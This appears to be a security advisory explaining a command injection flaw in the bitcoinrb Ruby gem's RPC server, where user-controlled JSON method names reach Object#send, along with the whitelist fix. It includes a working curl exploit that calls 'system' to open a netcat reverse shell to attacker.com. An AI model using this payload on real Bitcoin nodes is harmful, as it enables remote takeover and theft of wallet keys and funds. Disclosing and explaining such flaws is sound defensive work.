Feb 10, 2026·6 min read·1 visit
The bitcoinrb gem's RPC server blindly trusts user input when invoking methods, allowing attackers to execute system commands via the JSON `method` field. If you run a node with this gem exposed, your server is compromised. Update to v1.12.0 immediately.
A critical Command Injection vulnerability was discovered in the bitcoinrb RubyGem, a Ruby implementation of the Bitcoin protocol. The flaw stems from insecure dynamic method dispatch in the RPC server component, specifically the misuse of Ruby's `Object#send` method. By crafting a malicious JSON-RPC request, an unauthenticated attacker can invoke arbitrary Ruby Kernel methods—such as `system` or `exec`—effectively turning a Bitcoin node into a remote shell. This vulnerability affects all versions prior to 1.12.0.
In the world of cryptocurrency, a Bitcoin node is the ultimate prize. It validates transactions, maintains the ledger, and often holds the keys to the kingdom—literally. bitcoinrb is a Ruby implementation of the Bitcoin protocol, designed for developers who prefer the elegance of Ruby over the rigidity of C++. But in this case, that elegance came with a hidden trapdoor.
The vulnerability lies in the Remote Procedure Call (RPC) server. This is the interface that allows administrators (and external services) to talk to the Bitcoin node, asking it to getblockcount or sendrawtransaction. It is supposed to be a rigid control panel with a specific set of buttons.
However, due to a classic Ruby anti-pattern, the developers accidentally turned that control panel into a command line interface. Instead of checking which button you pressed, the code effectively asked, "What Ruby method would you like me to run today?" And as it turns out, "format my hard drive" is a valid Ruby method call if you know how to ask.
The root cause here is a misunderstanding of Dynamic Method Dispatch. In dynamic languages like Ruby, you often don't know which method you need to call until runtime. Ruby provides the send method for this exact purpose. It allows you to invoke a method on an object by passing the method name as a string or symbol.
The vulnerable code in lib/bitcoin/rpc/http_server.rb did exactly this. It took the method field from the incoming JSON-RPC request and passed it directly to send. The logic was meant to route getblockchaininfo to the getblockchaininfo method defined in the handler.
Here is the fatal flaw: In Ruby, almost everything inherits from Object, which mixes in the Kernel module. The Kernel module contains methods that are essential for the OS interface, such as exit, abort, and the holy grail of exploitation: system. Because send ignores visibility modifiers (private/protected) and has access to the entire inheritance chain, an attacker isn't limited to Bitcoin-related methods. They can call any method the object responds to. When you let a user control the first argument of send, you are essentially providing them with an eval loop.
Let's look at the code that made this possible. The vulnerability is concise, hiding in plain sight within the request processing logic.
lib/bitcoin/rpc/http_server.rb)# The variable 'command' comes directly from the JSON body
command, args = parse_json_params
# ... logging ...
# FATAL: 'send' is called with user-controlled input
send(command, *args).to_jsonThe developer assumed that command would always be something safe like getpeerinfo. They didn't anticipate that command could be system.
The patch is the only sane way to handle this: a strict whitelist. Instead of assuming the input is safe, the fixed code explicitly defines what is allowed. If the requested command isn't in the club list, it doesn't get in.
SUPPORTED_COMMANDS = %w[
getblockchaininfo stop getblockheader getpeerinfo
sendrawtransaction decoderawtransaction decodescript
createwallet listwallets getwalletinfo listaccounts
encryptwallet getnewaddress
].freeze
command, args = parse_json_params
# The Bouncer: Check the whitelist first
unless SUPPORTED_COMMANDS.include?(command)
raise ArgumentError, "Unsupported method: #{command}"
end
send(command, *args).to_jsonThis change neutralizes the threat completely. Even if I ask to run system, the code checks the SUPPORTED_COMMANDS array, sees that system is missing, and raises an error.
Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a valid JSON payload.
8332 (default Bitcoin RPC) or similar ports where bitcoinrb might be listening.system method. The params array becomes the arguments for the shell command.curl -X POST -H "Content-Type: application/json" \
--data '{
"jsonrpc": "2.0",
"id": 1,
"method": "system",
"params": ["nc -e /bin/sh attacker.com 4444"]
}' \
http://target-bitcoin-node:8332/"method": "system" and "params": ["nc ..."].send("system", "nc -e /bin/sh attacker.com 4444").Kernel#system spawns a subshell and executes the netcat reverse shell.> [!NOTE]
> While system returns true or false (which would be serialized to JSON), the side effect—executing the command—happens immediately. The attacker doesn't care about the JSON response; they care that their reverse shell connected.
The impact here is Critical (CVSS 9.8). We are talking about Remote Code Execution (RCE) on a financial system.
wallet.dat file or private keys stored in memory or on disk. If the node holds funds, they are gone instantly.If you are running bitcoinrb, you have one job right now: Update.
bitcoinrb version 1.12.0 or higher.
bundle update bitcoinrbsystem, eval, spawn). If you find them, assume compromise.Never, ever use send on user-supplied strings without a whitelist. It is the SQL Injection of the Ruby world. Always use public_send if you must use dynamic dispatch (to respect privacy), but even then, whitelist your inputs.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
bitcoinrb chaintope | < 1.12.0 | 1.12.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Command Injection / Unsafe Reflection |
| Attack Vector | Network (RPC Interface) |
| Affected Component | lib/bitcoin/rpc/http_server.rb |
| Dangerous Method | Object#send |
| CVSS Score | 9.8 (Critical) |
| Patch Version | 1.12.0 |
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when sent to a downstream component.